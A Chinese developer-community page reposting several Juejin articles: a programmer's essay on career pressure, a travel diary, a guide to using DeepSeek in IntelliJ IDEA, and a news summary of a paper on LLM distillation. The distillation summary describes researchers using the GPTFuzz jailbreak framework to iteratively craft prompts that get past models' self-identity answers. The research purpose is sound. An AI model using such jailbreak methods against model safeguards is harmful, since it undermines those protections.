注册
环信即时通讯云

环信即时通讯云

单聊、群聊、聊天室...
环信开发文档

环信开发文档

Demo体验

Demo体验

场景Demo,开箱即用
RTE开发者社区

RTE开发者社区

汇聚音视频领域技术干货,分享行业资讯
技术讨论区

技术讨论区

技术交流、答疑
资源下载

资源下载

收集了海量宝藏开发资源
iOS Library

iOS Library

不需要辛辛苦苦的去找轮子, 这里都有
Android Library

Android Library

不需要辛辛苦苦的去找轮子, 这里都有

程序员工作七年后的觉醒:不甘平庸,向上成长,突破桎梏

前言 Hi 你好,我是东东拿铁,一个正在探索个人IP&副业的后端程序员。 昨天看到雪梅老师公众号的文章,《中国的中年男性,可能是世界上压力最大的一群人》。 看完文章,深有感触,因为自己有时候,觉着压力挺大的,因为从小到大,一直感觉世俗上的一些条条框框,...
继续阅读 »

前言


Hi 你好,我是东东拿铁,一个正在探索个人IP&副业的后端程序员。


昨天看到雪梅老师公众号的文章,《中国的中年男性,可能是世界上压力最大的一群人》。


看完文章,深有感触,因为自己有时候,觉着压力挺大的,因为从小到大,一直感觉世俗上的一些条条框框,在约束着你。


上学时,你要好好读书,争取考上985/211,最起码上个一本。


工作后,大家都羡慕考公上岸的,上不了岸的话,你需要找一个好公司,拿到一个高工资,最好还能当上管理人员。


后来有了家庭,你要承担起男人的责任,赚钱养家。


过去20多年的时间,我都觉着这样的条条框框没有问题,在年少轻狂的时光,这些条条框框决定了你的下限,大家不都是这么过来的吗?


可是我过去的努力,都是为了符合条条框框的各项要求。我越来越觉着疑惑,我的努力,到底是为了什么啊,是为了这些世俗上的要求吗,我到底为谁而活?


压力,是自己给的


说实话,自己也给自己不少压力。


刚毕业,没有房贷车贷的情况下,我便给了自己很大的压力。压力怎么来的呢?比如一个月五千块钱的工资,买不起一个最新款的iPhone,又比如北京的朋友们,工资相比我在二线城市,竟能高出我一倍。


后来工作半年决定去北京,也是工作7年来,唯一一次的裸辞。


初生牛犊不怕虎,裸辞给我带来的毒打,至今历历在目,比如银彳亍卡余额一天天减少的焦虑,比如连面试都没有的焦虑,还有时刻担心着要是留不在北京,被迫得回老家的焦虑。


记得青旅楼下,有一家串店叫“很久以前羊肉串”,不到五点的时候门口就会有人排队,晚上下楼时看着饭店里熙熙攘攘,吃着烤串喝着扎啤的人时,心里十分羡慕,但却又不会踏进饭店一步。


毕竟一个目前找不到工作的人,每天一睁眼就是吃饭和住青旅的成本,吃个20块钱一顿的快餐就好了,怎么可能花好几百下馆子呢?


那时候心里有个愿望,就是我也想每周都可以和朋友来这里吃顿烧烤、喝喝扎啤。


嗯,我也不知道为什么,那时候对自己就是这么严苛。家庭虽不算富裕,但也绝不可能差这几顿烧烤、住几晚好的宾馆的钱,但我就是这样像苦行僧一样要求着自己,仿佛在向爸妈多要一分钱,就代表着自己输了。


后来工作稳定了,工资也比毕业时翻了几倍,恰巧又在高位上车了房子,但似乎压力只增不减,同样是不敢花钱。


现在又有了娃,这次压力也不用自己给了,别管他需要什么,一个小眼神,你只想给他买最好的。因此不敢请假,更不敢裸辞GAP一段时间了,这种感觉就像是在逃避赚钱的责任,不误正业一般。


一味的向前冲


带着压力,只能一味的向前冲,为了更高的薪资不断学习,为了更高的职级不断拼搏。


在“赚钱”这件事上,男人的基因里就像被编写好了一段代码。


    while (true){
makeMoreMoney();
}

过程中遇到困难,压力大,有难过的时候怎么办,身边有谁能去诉说呢?


中国的传统文化便是“男儿当自强”、“男儿有泪不轻弹”,怎么能去向别人诉说自己的痛苦呢?


那时候现在的老婆那时候还在上学,学生很难理解职场。结婚后,更没有人愿意在伴侣前展示自己的软弱。


和家人说?但是不开心的事,不要告诉妈妈,她帮不上忙,她只会睡不着觉。


和好朋友们一起坐下聚聚,喝几杯啤酒,少聊一些工作,压力埋在心里,让自己短暂的放松一下。



但现在的行业现状,不允许我们一味的在职场上冲了。


行业增速放缓,互联网渗透率达到瓶颈,随着而来的就是就业环境变差,裁员潮来袭。


你可以选择在职场中的高薪与光环,但也要付出相应的代价,比如变成“云老公/老婆”,“云爸爸/妈妈”。


或许我们都很想在职场中有一番作为,但是外部环境可能会让我们头破血流。


为了家庭,所以在职场中精进自己,升职加薪。我不禁在想,这看似符合逻辑的背后,我自己到底奋斗的是什么


不甘平庸,不服输


从老家裸辞去北京,是不满足于二线城市的工作环境,想接触互联网,获得更快的进步。


在北京,从小公司跳槽到大厂,是为了获得更高的薪资与大厂的光环。


再次回到老家,是不满生活只有工作,回来可以更好的平衡工作和生活。


回想起来,很多时候,自己就像一个异类。


明明工作还不满一年,技术又差,身边的朋友敢于跳槽到其他公司,涨一两千块钱的工资已经算挺好了,我却非得裸辞去北京撞撞南墙。


明明可以在中小公司里按部就班,过着按点下班喝酒打游戏的生活,却非得在在悠闲地时候,去刷算法与面经,不去大厂不死心。


明明可以在大公司有着不错的发展,负责着团队与核心系统,却时刻在思考生活中不能只有工作,还要平衡工作和家庭,最终放弃大厂工作再次回到老家。


每一阶段,我都不甘心于在当下的环境平庸下去,见识到的优秀的人越多,我便越不服输。


至此,我上面问自己的两个问题,我到底为谁而活?我自己到底奋斗的是什么,似乎有了些答案。


我做的努力,短期看是为了能够给自己、给家人更好的物质生活,但长远来看,是为了能让自己有突破桎梏与困境,不断向上的精神


仰望星空


古希腊哲学家苏格拉底有一句名言:“未经检视的人生不值得活。”那么我们为什么要检视自己的人生呢?正是因为我们有不断向上的愿望,那么我在想愿望的根源又到底是什么呢?


既然选择了不断向上,我决定思考,自己想成为什么样的人,或者说,一年后,希望自己变成什么样子,3年呢,5年呢?


当然,以后的样子,绝不是说,我要去一个什么外企稳定下来,或者说去一个大厂拿多少多少钱。


而是说,我希望的生活状态是什么,我想去做什么工作/副业,达成什么样的目标。


昨天刷到了一个抖音,这个朋友在新疆日喀则,拍下了一段延时摄影,我挺受震撼的。



生活在钢铁丛林太久了,我一直特别想去旅行,比如自驾新疆、西藏,反正越远越好。在北京租的房子,就在京藏高速入口旁,我每天上班都可以看到京藏高速的那块牌子,然后看着发会呆,畅想一下自己开着车在路上的感觉。


可好多年过去了,除了婚假的时候出去旅行,其余时间都因为工作不敢停歇,始终没有机会走出这一步,没有去看看祖国的大好河山。


我还发现自己挺喜欢琢磨,无论在做什么事情,我都会大量的学习,然后找到背后运行的规律。因为自己不断的思考,所以现实中,很少有机会和朋友交流,所以我会通过写作的方式,分享自己的思考、经历、感悟。


我写了不少文章,都是关于工作几年,我认为比较重要的经历的文章,也在持续分享我关于职业生涯的思考。


从毕业到职场,走过的弯路太多了,小到技术学习、架构方案设计,大到职业规划与公司选择,每当回忆起自己在职场这几年走过的弯路,就特别想把一些经验分享给更多的人,所以我持续的写,希望看到我文章的朋友,都能够对工作、生活有一点点帮助。


所以,我的短期目标,是希望能够帮助在职场初期、发展期,甚至一些稳定期的朋友们,在职场中少一点困惑,多一点力量


方式可能有很多,比如大家看我的文章,看我推荐的书籍、课程,甚至约我电话进行1v1沟通,都可以,帮助到一个人,我真的就会感到很满足,假设因为个人能力不足暂时帮不到,我也能根据自己的不足持续学习成长。


那么一年后,我希望自己变成什么样?
我希望自己在写作功底上,能够持续进步,写出更具有逻辑性、说服力的内容,就像明白老师、雪梅老师那样。公众号希望写出一篇10w+,当然数量越多越好,当然最希望的是有读者能够告诉我,读完这篇文章很有收获,这样比数据更能让人开心,当然最好还能够有一小部分工作之外的收入。


那么三年呢?
3年后,快要32岁了。希望那时候我已经积累了除了写作外,比如管理、销售、沟通、经营能力,能够有自己赚到工资外收入的产品、项目,最好能够和职场收入打平,最差能够和房贷打平,有随时脱离职场的底气。


五年呢?十年呢?
太久远了,想起来都很吃力的感觉。我一定还在工作,但一定不是打工,希望自己有了一份自己喜欢的事业,能够买到自己的dream car,然后能够随时带着家人看一看中国的大好河山。


你是不是想问,为什么一定要想这些?


因为当我想清楚这个问题的时候,那当下该做什么事情,该做什么选择,就有了一个清晰的标准:这件事情、这个选择,能否帮我们朝「未来的自己」更进一步?


这时候当再遇到压力、困难,我们就会变的乐观,有毅力、有勇气、自信、耐心,积极主动。


因为你自己想干成一件事,你就会迸发出120%的能量。


当然,也希望自己试试放下盔甲,允许自己撤退,允许自己躺平,允许自己怂,允许自己跟别人倾诉痛苦。


说在最后


说了很多,感谢你能看到最后。


感觉整体有点混乱,但还是总结一下:


起因是感觉自己压力很大,因为持续的大量输入导致自己有点陷入信息爆炸的焦虑,有一天下班到家时感觉头痛无比,九点就和孩子一起睡觉了,因此本来想谈谈中国男性的压力。


但不由自主的去思考自己的压力是从哪里来的,去发现压力竟都来源于传统文化、社会要求,于是越想越不服气,我为什么非得活成别人认为应该活成的样子?


于是试着思考自己想成为什么样子,其实也是一直在琢磨的一件事情,因为当开始探索个人IP的时候,我就发现自己需要更高一层的、精神层面的指导,才能让自己坚持下去。


如果你和我一样,希望你给自己的压力更小一些,环境很差,但总还有事情可以去做,愿你可以想清楚,你想成为的样子。一时想不清楚也没关系,也愿你可以允许自己撤退,允许自己软弱。


不知道你有没有想过,自己想要成为的样子呢?欢迎你在评论区和我分享,也希望你点赞、评论、收藏,让我知道对你有所收获,这对我来说很重要。也欢迎你加我的wx:Ldhrlhy10,一起交流~


本篇文章是第37篇原创文章,2024目标进度37/100,欢迎有趣的你,关注我。


作者:东东拿铁
来源:juejin.cn/post/7374337202653265961
收起阅读 »

原来,这些顶级大模型都是蒸馏的

「除了 Claude、豆包和 Gemini 之外,知名的闭源和开源 LLM 通常表现出很高的蒸馏度。」这是中国科学院深圳先进技术研究院、北大、零一万物等机构的研究者在一篇新论文中得出的结论。 前段时间,一位海外技术分析师在一篇博客中提出了一个猜想:一些顶级的 ...
继续阅读 »

「除了 Claude、豆包和 Gemini 之外,知名的闭源和开源 LLM 通常表现出很高的蒸馏度。」这是中国科学院深圳先进技术研究院、北大、零一万物等机构的研究者在一篇新论文中得出的结论。


前段时间,一位海外技术分析师在一篇博客中提出了一个猜想:一些顶级的 AI 科技公司可能已经构建出了非常智能的模型,比如 OpenAI 可能构建出了 GPT-5,Claude 构建出了 Opus 3.5。但由于运营成本太高等原因,他们将其应用在了内部,通过蒸馏等方法来改进小模型的能力,然后依靠这些小模型来盈利(参见《GPT-5、 Opus 3.5 为何迟迟不发?新猜想:已诞生,被蒸馏成小模型来卖》)。


当然,这只是他的个人猜测。不过,从新论文的结论来看,「蒸馏」在顶级模型中的应用范围确实比我们想象中要广。


具体来说,研究者测试了 Claude、豆包、Gemini、llama 3.1、Phi 4、DPSK-V3、Qwen-Max、GLM4-Plus 等多个模型,发现这些模型大多存在很高程度的蒸馏(Claude、豆包和 Gemini 除外)。比较明显的证据是:很多模型会在声明自己身份等问题时出现矛盾,比如 llama 3.1 会说自己是 OpenAI 开发的,Qwen-Max 说自己由 Anthropic 创造。



蒸馏固然是一种提升模型能力的有效方法,但作者也指出,过度蒸馏会导致模型同质化,减少模型之间的多样性,并损害它们稳健处理复杂或新颖任务的能力。所以他们希望通过自己提出的方法系统地量化蒸馏过程及其影响,从而提供一个系统性方法来提高 LLM 数据蒸馏的透明度。




为什么要测试 LLM 的蒸馏情况?


最近,模型蒸馏作为一种更有效利用先进大语言模型能力的方法,引起了越来越多的关注。通过将知识从更大更强的 LLM 迁移到更小的模型中,数据蒸馏成为了一个显著的后发优势,能够以更少的人工标注和更少的计算资源与探索来实现 SOTA 性能。


然而,这种后发优势也是一把双刃剑,它阻止了学术机构的研究人员和欠发达的 LLM 团队自主探索新技术,并促使他们直接从最先进的 LLM 中蒸馏数据。此外,现有的研究工作已经揭示了数据蒸馏导致的鲁棒性下降。


量化 LLM 的蒸馏面临几个关键挑战:



  1. 蒸馏过程的不透明性使得难以量化学生模型和原始模型之间的差异;

  2. 基准数据的缺乏使得需要采用间接方法(如与原始 LLM 输出的比较)来确定蒸馏的存在;

  3. LLM 的表征可能包含大量冗余或抽象信息,这使得蒸馏的知识难以直接反映为可解释的输出。


最重要的是,数据蒸馏在学术界的广泛使用和高收益导致许多研究人员避免批判性地检查与其使用相关的问题,导致该领域缺乏明确的定义。


研究者使用了什么方法?


作者在论文中提出了两种方法来量化 LLM 的蒸馏程度,分别是响应相似度评估(RSE)和身份一致性评估(ICE)。



RSE 采用原始 LLM 的输出与学生大语言模型的输出之间的比较,从而衡量模型的同质化程度。ICE 则采用一个知名的开源越狱框架 GPTFuzz,通过迭代构造提示来绕过 LLM 的自我认知,评估模型在感知和表示身份相关信息方面的差异 。 


 他们将待评估的特定大语言模型集合定义为 LLM_test = {LLM_t1,LLM_t2,...,LLM_tk},其中 k 表示待评估的 LLM 集合的大小。


响应相似度评估(RSE)


RSE 从 LLM_test 和参考 LLM(在本文中即 GPT,记为 LLM_ref)获取响应。作者随后从三个方面评估 LLM_test 和 LLM_ref 的响应之间的相似度:响应风格、逻辑结构和内容细节。评估者为每个测试 LLM 生成一个它与参考模型的整体相似度分数。


作者将 RSE 作为对 LLM 蒸馏程度的细粒度分析。在本文中,他们手动选择 ArenaHard、Numina 和 ShareGPT 作为提示集,以获取响应并评估 LLM_test 在通用推理、数学和指令遵循领域的相关蒸馏程度。如图 3 所示,LLM-as-a-judge 的评分分为五个等级,每个等级代表不同程度的相似度。 



身份一致性评估(ICE)


ICE 通过迭代构造提示来绕过 LLM 的自我认知,旨在揭示嵌入其训练数据中的信息,如与蒸馏数据源 LLM 相关的名称、国家、位置或团队。在本文中,源 LLM 指的是 GPT4o-0806。


作者在 ICE 中采用 GPTFuzz 进行身份不一致性检测。首先,他们将源 LLM 的身份信息定义为事实集 F,F 中的每个 f_i 都清楚地说明了 LLM_ti 的身份相关事实,例如「我是 Claude,一个由 Anthropic 开发的 AI 助手。Anthropic 是一家总部位于美国的公司。」 



同时,他们使用带有身份相关提示的 P_id 来准备 GPTFuzz 的 ,用于查询 LLM_test 中的 LLM 关于其身份的信息,详见附录 B。作者使用 LLM-as-a-judge 初始化 GPTFuzz 的 F^G,以比较提示的响应与事实集 F。具有逻辑冲突的响应会被识别出来,并相应地合并到 F^G 的下一次迭代中。 


作者基于 GPTFuzz 分数定义两个指标:



  • 宽松分数:将任何身份矛盾的错误示例视为成功攻击;

  • 严格分数:仅将错误识别为 Claude 或 GPT 的示例视为成功攻击。


实验结果如何?


ICE 的实验结果如图 4 所示,宽松分数和严格分数都表明 GLM-4-Plus、Qwen-Max 和 Deepseek-V3 是可疑响应数量最多的三个 LLM,这表明它们具有更高的蒸馏程度。相比之下,Claude-3.5-Sonnet 和 Doubao-Pro-32k 几乎没有显示可疑响应,表明这些 LLM 的蒸馏可能性较低。宽松分数指标包含一些假阳性实例,而严格分数提供了更准确的衡量。 



作者将所有越狱攻击提示分为五类,包括团队、合作、行业、技术和地理。图 5 统计了每种类型问题的成功越狱次数。这个结果证明 LLM 在团队、行业、技术方面的感知更容易受到攻击,可能是因为这些方面存在更多未经清理的蒸馏数据。 



如表 1 所示,作者发现相比于监督微调(SFT)的 LLM,基础 LLM 通常表现出更高程度的蒸馏。这表明基础 LLM 更容易表现出可识别的蒸馏模式,可能是由于它们缺乏特定任务的微调,使它们更容易受到评估中利用的漏洞类型的影响。 



另一个有趣的发现是,实验结果显示闭源的 Qwen-Max-0919 比开源的 Qwen 2.5 系列具有更高的蒸馏程度。作者发现了大量与 Claude 3.5-Sonnet 相关的答案,而 2.5 系列 LLM 的可疑答案仅与 GPT 有关。这些示例在附录 D 中有所展示。 


RSE 结果在表 3 中展示,以 GPT4o-0806 作为参考 LLM,结果表明 GPT 系列的 LLM(如 GPT4o-0513)表现出最高的响应相似度(平均相似度为 4.240)。相比之下,像 Llama3.1-70B-Instruct(3.628)和 Doubao-Pro-32k(3.720)显示出较低的相似度,表明蒸馏程度较低。而 DeepSeek-V3(4.102)和 Qwen-Max-0919(4.174)则表现出更高的蒸馏程度,与 GPT4o-0806 相近。



为了进一步验证观察结果,作者进行了额外的实验。在这个设置中,他们选择各种模型同时作为参考模型和测试模型。对于每种配置,从三个数据集中选择 100 个样本进行评估。附录 F 中的结果表明,当作为测试模型时,Claude3.5-Sonnet、Doubao-Pro-32k 和 Llama3.1-70B-Instruct 始终表现出较低的蒸馏程度。相比之下,Qwen 系列和 DeepSeek-V3 模型倾向于显示更高程度的蒸馏。这些发现进一步支持了本文所提框架在检测蒸馏程度方面的稳健性。 


更多细节请参考原论文。


作者:机器之心
来源:juejin.cn/post/7464926870544089097
收起阅读 »

离职后的这半年,我前所未有的觉得这世界是值得的

大家好,我是一名前端开发工程师,属于是没有赶上互联网红利,但赶上了房价飞涨时代的 95 后社畜。2024 年 3 月份我做了个决定,即使已经失业半年、负收入 10w+ 的如今的我,也毫不后悔的决定:辞职感受下这个世界。 为什么要辞职,一是因为各种社会、家庭层面...
继续阅读 »

大家好,我是一名前端开发工程师,属于是没有赶上互联网红利,但赶上了房价飞涨时代的 95 后社畜。2024 年 3 月份我做了个决定,即使已经失业半年、负收入 10w+ 的如今的我,也毫不后悔的决定:辞职感受下这个世界


为什么要辞职,一是因为各种社会、家庭层面的处境对个人身心的伤害已经达到了不可逆转的程度,传播互联网负面情绪的话我也不想多说了,经历过的朋友懂得都懂,总结来说就是,在当前处境和环境下,已经没有办法感受到任何的快乐了,只剩焦虑、压抑,只能自救;二是我觉得人这一辈子,怎么也得来一次难以忘怀、回忆起来能回甘的经历吧!然而在我的计划中,不辞职的话,做不到。


3 月


在 3 月份,我去考了个摩托车驾-照,考完后购买了一辆摩托车 DL250,便宜质量也好,开始着手准备摩旅。


webwxgetmsgimg.jpg


4 月份正式离职后,我的初步计划是先在杭州的周边上路骑骑练下车技,直接跑长途还是很危险的,这在我后面真的去摩旅时候感受颇深,差点交代了。


4 月


4.19 号我正式离职,在杭州的出租屋里狠狠地休息了一个星期,每天睡到自然醒,无聊了就打打游戏,或者骑着摩托车去周边玩,真的非常非常舒服。


不过在五一之前,我家里人打电话跟我说我母亲生病了,糖尿病引发的炎症,比较严重,花了 2w+ 住院费,也是从这个时候才知道我父母都没有交医保(更别说社保),他们也没有正式、稳定的工作,也没有一分钱存款,于是我立马打电话给老家的亲戚让一个表姐帮忙去交了农村医保。所有这些都是我一个人扛,还有个亲哥时不时问我借钱。


381728547058_ 拷贝.jpg


说实话,我不是很理解我的父母为什么在外打工那么多年,一分钱都存不下来的,因为我从小比较懂事,没让他们操过什么心,也没花过什么大钱。虽然从农村出来不是很容易,但和周围的相同条件的亲戚对比,我只能理解为我父母真的爱玩,没有存钱的概念。


我可能也继承了他们的基因吧?才敢这样任性的离职。过去几年努力地想去改变这个处境,发现根本没用,还把自己搞得心力交瘁,现在想想不如让自己活开心些吧。


5 月


母亲出院后,我回到杭州和摩友去骑了千岛湖,还有周边的一些山啊路啊,累计差不多跑了 2000 多公里,于是我开始确立我的摩旅计划,路线是杭州-海南岛-云南-成都-拉萨,后面实际跑的时候,因为云南之前去过,时间又太赶,就没去云南了。


2024-10-11 103931.jpg


6 月


在摩友的帮助下,给摩托车简单进行了一些改装,主要加了大容量的三箱和防雨的驮包,也配备了一些路上需要的药品、装备,就一个人出发了。


2024-10-11 103949.jpg


从杭州到海南这部分旅行,我也是简单记录了一下,视频我上传了 B 站,有兴趣的朋友可以看看:


拯救焦虑的29岁,考摩托车驾-照,裸辞,买车,向着自由,出发。


摩托车确实是危险的,毕竟肉包铁,即使大部分情况我已经开的很慢,但是仍然会遇到下大雨路滑、小汽车别我、大货车擦肩而过这种危险情况,有一次在过福建的某个隧道时,那时候下着大雨,刚进隧道口就轮胎打滑,对向来车是连续的大货车,打滑之后摩托车不受控制,径直朝向对向车道冲过去,那两秒钟其实我觉得已经完蛋了,倒是没有影视剧中的人生画面闪回,但是真的会在那个瞬间非常绝望,还好我的手还是强行在对龙头进行扳正,奇迹般地扳回来且稳定住了。


过了隧道惊魂未定,找了个路边小店蹲在地上大口喘气,雨水打湿了全身加上心情无法平复,我全身都是抖的,眼泪也止不住流,不是害怕,是那种久违地从人类身体发出的求生本能让我控制不住情绪的肆意发泄。


在国道开久了人也会变得很麻木,因为没什么风景,路况也是好的坏的各式各样,我现在回看自己的记录视频,有的雨天我既然能在窄路开到 100+ 码,真的很吓人,一旦摔车就是与世长辞了。


不过路上的一切不好的遭遇,在克服之后,都会被给予惊喜,到达海南岛之后,我第一次感觉到什么叫精神自由,沿着海边骑行吹着自由的风,到达一个好看的地方就停车喝水观景,玩沙子,没有工作的烦扰,没有任何让自己感受到压力的事情,就像回到了小时候无忧无虑玩泥巴的日子,非常惬意。


稿定设计导出-20241011-112615.jpg


在完成海南环岛之后,我随即就赶往成都,与前公司被裁的前同事碰面了。我们在成都玩了三天左右,主要去看了一直想看的大熊猫🐼!


2024-10-11 174426.jpg


之后我们在 6.15 号开始从成都的 318 起始点出发,那一天的心情很激动,感觉自己终于要做一件不太一样的事,见不一样的风景了。


401728642422_.pic.jpg


小时候在农村,读书后在小镇,大学又没什么经济能力去旅行,见识到的事物都非常有限,但是这一切遗憾在川藏线上彻底被弥补了。从开始进入高原地貌,一路上的风景真的美到我哭!很多时候我头盔下面都是情不自禁地笑着的,发自内心的那种笑,那种快乐的感觉,我已经很久很久很久没有了。


稿定设计导出-20241011-184041.jpg


同样地,这段经历我也以视频的方式记录了下来,有兴趣的朋友可以观看:


以前只敢想想,现在勇敢向前踏出了一步,暂时放下了工作,用摩托跑完了318


到拉萨了!


411728642433_.pic.jpg


花了 150 大洋买的奖牌,当做证明也顺便做慈善了:)


421728642441_.pic_h111d.jpg


后面到拉萨之后我和朋友分开了,他去自驾新疆,我转头走 109 国道,也就是青藏线,这条线真的巨壮美,独自一人行驶在这条路,会感觉和自然融合在了一起,一切都很飘渺,感觉自己特别渺小。不过这条线路因为冻土层和大货车非常非常多的原因,路已经凹凸不平了,许多炮弹坑,稍微骑快点就会飞起来。


这条线还会经过青海湖,我发誓青海湖真的是我看到过最震撼的景色了,绿色和蓝色的完美融合,真的非常非常美,以后还要再去!


2024-10-11 185558.jpg


拍到了自己的人生照片:


2024-10-11 185623.jpg


经历了接近一个半月的在外漂泊,我到了西宁,感觉有点累了,我就找了个顺丰把摩托车拖运了,我自己就坐飞机回家了。


这一段经历对我来说非常宝贵,遇到的有趣的人和事,遭遇的磨难,见到的美景我无法大篇幅细说,但是每次回想起这段记忆我都会由衷地感觉到快乐,感觉自己真的像个人一样活着。


这次旅行还给了我感知快乐和美的能力,回到家后,我看那些原来觉得并不怎么样的风景,现在觉得都很美,而且我很容易因为生活中的小确幸感到快乐,这种能力很重要。


7 月


回到家大概 7 月中旬。


这两个多月的经历,我的身体和心态都调整的不错了,但还不是很想找工作,感觉放下内心的很多执念后,生活还是很轻松的,就想着在家里好好陪陪母亲吧,上班那几年除了过年都没怎么回家。


在家里没什么事,但是后面工作的技能还是要继续学习的,之前工作经历是第一家公司用的 React 16,后面公司用的是 Vue3,对 React 有些生疏,我就完整地看了下 React 18 的文档,感觉变化也不是很大。


8、9 月


虽然放下了许多执念,对于社会评价(房子、结婚、孩子)也没有像之前一样过于在乎了,但还是要生活的,也要有一定积蓄应对未来风险,所以这段时间在准备面试,写简历、整理项目、看看技术知识点、刷刷 leetcode。


也上线了一个比较有意义的网站,写了一个让前端开发者更方便进行 TypeScript 类型体操的网站,名字是 TypeRoom 类型小屋,题源是基于 antfu 大佬的 type-challenges


目前 Type Challenges 官方提供了三种刷题方式



这几种方式其实都很方便,不过都在题目的可读性上有一定的不足,还对开发者有一定的工具负担、IDE 负担。


针对这个问题,也是建立 TypeRoom 的第一个主要原因之一,就是提供直接在浏览器端就能刷题的在线环境,并且从技术和布局设计上让题目描述和答题区域区分开来,更为直观和清晰。不需要额外再做任何事,打开一个网址即可直接开始刷题,并且你的答题记录会存储到云端。


欢迎大家来刷题,网址:typeroom.cn


截屏2024-10-12 21.53.26.png


因为个人维护,还有很多题目没翻译,很多题解没写,也还有很多功能没做,有兴趣一起参与的朋友可以联系我哦,让我一起造福社区!


同时也介绍下技术栈吧:


前端主要使用 Vue3 + Pinia + TypeScript,服务端一开始是 Koa2 的,后面用 Nest 重写了,所以现在服务端为 Nest + Mysql + TypeORM。


另外,作为期待了四年,每一个预告片都看好多遍的《黑神话·悟空》的铁粉,玩了四周目,白金了。


WechatIMG43.jpg


现在


现在是 10 月份了,准备开始投简历找工作了,目前元气满满,不急不躁,对工作没有排斥感了,甚至想想工作还蛮好的,可能是闲久了吧,哈哈哈,人就是贱~


更新 11 月


我还是没有找工作,又去摩旅了一趟山西、山东,这次旅行感觉比去西藏还累、还危险。同样是做了视频放 b 站了,有兴趣的可以看看:


骑了4300km只为寻找那片海-威海的海|摩旅摩得命差点没了


真的要开始找工作了喂!


最后


其实大多数我们活得很累,都是背负的东西太多了,而这些大多数其实并不一定要接受的,发挥主观能动性,让自己活得开心些最重要,加油啊,各位,感谢你看到这里,祝你快乐!


这是我的 github profile,上面有我的各种联系方式,想交个朋友的可以加我~❤️


作者:vortesnail
来源:juejin.cn/post/7424902549256224804
收起阅读 »

IDEA 接入 deepseek,太酷了。

大家好,我是二哥呀。 deepseek 官方并没有出 IntelliJ IDEA 的插件,但作为菜逼程序员的我,却很想体验一下在 IDEA 中装入 deepseek 的感觉。 一共有三种方式,一种是通过 IDEA 官方的 AI Assistant 来调用本地的...
继续阅读 »

大家好,我是二哥呀。


deepseek 官方并没有出 IntelliJ IDEA 的插件,但作为菜逼程序员的我,却很想体验一下在 IDEA 中装入 deepseek 的感觉。


一共有三种方式,一种是通过 IDEA 官方的 AI Assistant 来调用本地的 deepseek;另外两种是通过 Continue 和 CodeGPT 两款插件来曲线救国。


①、AI Assistant


AI Assistant 是新版 IDEA 自带的一个功能,属于 JetBrains 官方集成的 AI 编程助手,妥妥的嫡长子。



能提供代码补全、代码生成、优化建议、代码解释等功能。


官方已经集成了 openai 的 4o,Google 的gemini 等,开箱即用。


也支持本地 AI,比如说我们在本地已经通过 ollama 运行了 deepseek 7b 版本的大模型,就可以直接点击 connect 跳转到 enable 复选框这里。



测试通过后,我们就可以通过这里调用 deepseek 的大模型,比如说,我们让他对 DeepSeekIntegration 这个类进行解释。



他就能告诉我们:



  • 发现它依赖于okHttp库来处理网络请求。这说明该类主要负责与外部服务 DeepSeek 进行交互。

  • 类中有两个工厂方法:executeStreamChatexecuteStreamChat(List<ChatMsg> list, EventSourceListener listener)。这两个方法都用于创建 EventSource 并发送聊天请求到 DeepSeek。流式交互支持意味着该类可以处理分片传输的数据,逐部分地发送给服务器,然后逐步处理返回的数据。


我超,真的好用啊!


谁告诉我本地的 deepseek 没用的,脸伸过来,我保证不打肿!


这基本的代码学习,很香啊,免费,还特么很到位。


②、安装 Continue


Continue 是一款开源的 AI 代码助手插件,可以无缝安装在 IDEA 或者 VSCode 中。通过 Continue 可以加载任意大模型,从而实现代码的自动补全和聊天体验。



安装方式比较简单,直接在 IDEA 的插件中搜“Continue”关键字,然后选择下载量最高的那个就行了。


安装完成后,也有两种方式,一种是配置 deepseek 的 API Key,这个就需要充值了。



不过由于算力紧张,API 这块经常处于宕机状态。



另外一种,也是连接本地 ollama,然后去加载之前我们运行起来的 deepseek 模型。



最好拉取 coder 版本。



③、安装 CodeGPT


CodeGPT 也是一个由 AI 驱动的代码助手,官方直接说了,可以是 GitHub Copilot 的替代品。



安装完成后,同样需要在 settings 中配置 deepseek API 的 keys。



当然,也可以在这一步中切换到 ollama 的本地 deepseek。



CodeGPT 比较智能的一点是,当你在编辑器中打开了某一个类,它就会自动关联到聊天窗口。



并且能把 deepseek-R1 的整个思考过程展示出来,所以我是强烈大家按照我之前的教程在本地部署一个 7b 的本地版。



比 deepseek 官方稳定多了,毕竟本地没有上万人的同时在线给你竞争。


三分恶面渣逆袭


最近一直在修改面渣逆袭第二版,目前的进展是到并发编程的 25 题,也顺带同步给大家,刚好暑期实习和春招的小伙伴,可以日拱一卒。


25.volatile 怎么保证可见性的?


当线程对 volatile 变量进行写操作时,JVM 会在这个变量写入之后插入一个写屏障指令,这个指令会强制将本地内存中的变量值刷新到主内存中。


三分恶面渣逆袭:volatile写插入内存屏障后生成的指令序列示意图


StoreStore;   // 保证写入之前的操作不会重排
volatile_write(); // 写入 volatile 变量
StoreLoad; // 保证写入后,其他线程立即可见

在 x86 架构下,通常会使用 lock 指令来实现写屏障,例如:


mov [a], 2          ; 将值 2 写入内存地址 a
lock add [a], 0 ; lock 指令充当写屏障,确保内存可见性

当线程对 volatile 变量进行读操作时,JVM 会插入一个读屏障指令,这个指令会强制让本地内存中的变量值失效,从而重新从主内存中读取最新的值。


三分恶面渣逆袭:volatile写插入内存屏障后生成的指令序列示意图


我们来声明一个 volatile 变量 x:


volatile int x = 0

线程 A 对 x 写入后会将其最新的值刷新到主内存中,线程 B 读取 x 时由于本地内存中的 x 失效了,就会从主内存中读取最新的值。


三分恶面渣逆袭:volatile内存可见性


最后,把二哥的座右铭送给大家:没有什么使我停留——除了目的,纵然岸旁有玫瑰、有绿荫、有宁静的港湾,我是不系之舟


作者:沉默王二
来源:juejin.cn/post/7469051964224471078
收起阅读 »

某程序员自曝:凡是打断点调试代码的,都不是真正的程序员,都是外行

大家好,我是大明哥,一个专注 「死磕 Java」 的硬核程序员。 某天我在逛今日头条的时候,看到一个大佬,说凡是打断点调试代码的,都不是真正的程序员,都是外行。 我靠,我敲了 10 多年代码,打了 10 多年的断点,竟然说我是外行!!我还说,真正的大佬都是...
继续阅读 »

大家好,我是大明哥,一个专注 「死磕 Java」 的硬核程序员。



某天我在逛今日头条的时候,看到一个大佬,说凡是打断点调试代码的,都不是真正的程序员,都是外行。



我靠,我敲了 10 多年代码,打了 10 多年的断点,竟然说我是外行!!我还说,真正的大佬都是用文档编辑器来写代码呢!!!


